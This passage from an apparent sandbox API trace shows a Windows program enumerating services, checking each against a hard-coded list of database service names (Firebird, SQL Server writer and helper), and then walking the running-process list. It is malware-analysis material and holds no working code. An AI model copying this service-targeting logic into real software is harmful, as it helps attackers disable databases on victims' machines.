lpServices=0x6cdd50, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0217.670] CloseServiceHandle (hSCObject=0x6ad7f0) returned 1 [0217.670] lstrlenW (lpString="AppXSvc") returned 7 [0217.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0217.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0217.670] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0217.670] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0217.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0217.670] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.670] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.670] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.670] lstrlenW (lpString="Audiosrv") returned 8 [0217.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0217.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0217.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0217.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0217.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0217.671] lstrlenW (lpString="BFE") returned 3 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.671] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.671] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.671] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.671] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0217.671] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0217.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0217.671] lstrlenW (lpString="CDPSvc") returned 6 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0217.671] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0217.671] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0217.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0217.671] lstrlenW (lpString="ClickToRunSvc") returned 13 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0217.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0217.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0217.671] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.671] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0217.671] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0217.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0217.671] lstrlenW (lpString="CryptSvc") returned 8 [0217.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.672] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.672] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.672] lstrlenW (lpString="DcomLaunch") returned 10 [0217.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.672] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.672] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.672] lstrlenW (lpString="DeviceAssociationService") returned 24 [0217.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0217.673] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0217.673] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0217.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0217.673] lstrlenW (lpString="Dhcp") returned 4 [0217.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.673] lstrlenW (lpString="Dnscache") returned 8 [0217.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.674] lstrlenW (lpString="DPS") returned 3 [0217.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.674] lstrlenW (lpString="DusmSvc") returned 7 [0217.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0217.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0217.674] lstrlenW (lpString="EventLog") returned 8 [0217.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0217.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0217.674] lstrlenW (lpString="EventSystem") returned 11 [0217.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.674] lstrlenW (lpString="FontCache") returned 9 [0217.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.674] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.674] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.674] lstrlenW (lpString="gpsvc") returned 5 [0217.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.675] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.675] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.675] lstrlenW (lpString="iphlpsvc") returned 8 [0217.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.675] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.675] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.675] lstrlenW (lpString="KeyIso") returned 6 [0217.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0217.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0217.675] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0217.675] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0217.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0217.675] lstrlenW (lpString="LanmanServer") returned 12 [0217.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.675] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.675] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.675] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.675] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.675] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.675] lstrlenW (lpString="lfsvc") returned 5 [0217.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0217.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0217.676] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0217.676] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0217.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0217.676] lstrlenW (lpString="lmhosts") returned 7 [0217.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.676] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.676] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.676] lstrlenW (lpString="LSM") returned 3 [0217.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0217.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0217.676] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0217.676] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0217.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0217.676] lstrlenW (lpString="MpsSvc") returned 6 [0217.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.676] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.676] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.676] lstrlenW (lpString="NcbService") returned 10 [0217.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0217.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0217.676] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0217.677] lstrlenW (lpString="netprofm") returned 8 [0217.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.677] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.677] lstrlenW (lpString="NgcSvc") returned 6 [0217.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0217.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0217.677] lstrlenW (lpString="NlaSvc") returned 6 [0217.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.677] lstrlenW (lpString="nsi") returned 3 [0217.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.677] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.677] lstrlenW (lpString="PcaSvc") returned 6 [0217.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.677] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.677] lstrlenW (lpString="PlugPlay") returned 8 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.678] lstrlenW (lpString="Power") returned 5 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.678] lstrlenW (lpString="ProfSvc") returned 7 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.678] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.678] lstrlenW (lpString="RpcSs") returned 5 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.678] lstrlenW (lpString="SamSs") returned 5 [0217.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.678] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.678] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.679] lstrlenW (lpString="Schedule") returned 8 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.679] lstrlenW (lpString="SecurityHealthService") returned 21 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0217.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0217.679] lstrlenW (lpString="SENS") returned 4 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.679] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.679] lstrlenW (lpString="Spooler") returned 7 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.679] lstrlenW (lpString="StateRepository") returned 15 [0217.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0217.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0217.679] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0217.679] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0217.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0217.680] lstrlenW (lpString="SysMain") returned 7 [0217.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0217.680] lstrlenW (lpString="SystemEventsBroker") returned 18 [0217.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0217.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0217.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0217.680] lstrlenW (lpString="Themes") returned 6 [0217.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0217.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0217.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0217.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0217.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0217.680] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0217.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.680] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0217.680] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0217.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0217.680] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0217.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0217.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0217.680] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0217.680] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0217.681] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6cdd50 | out: hHeap=0x670000) returned 1 [0217.681] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b0 [0217.688] Process32FirstW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.689] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.689] lstrlenW (lpString="System") returned 6 [0217.689] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.690] lstrlenW (lpString="smss.exe") returned 8 [0217.690] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.690] lstrlenW (lpString="csrss.exe") returned 9 [0217.690] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.691] lstrlenW (lpString="wininit.exe") returned 11 [0217.691] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.691] lstrlenW (lpString="csrss.exe") returned 9 [0217.691] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, 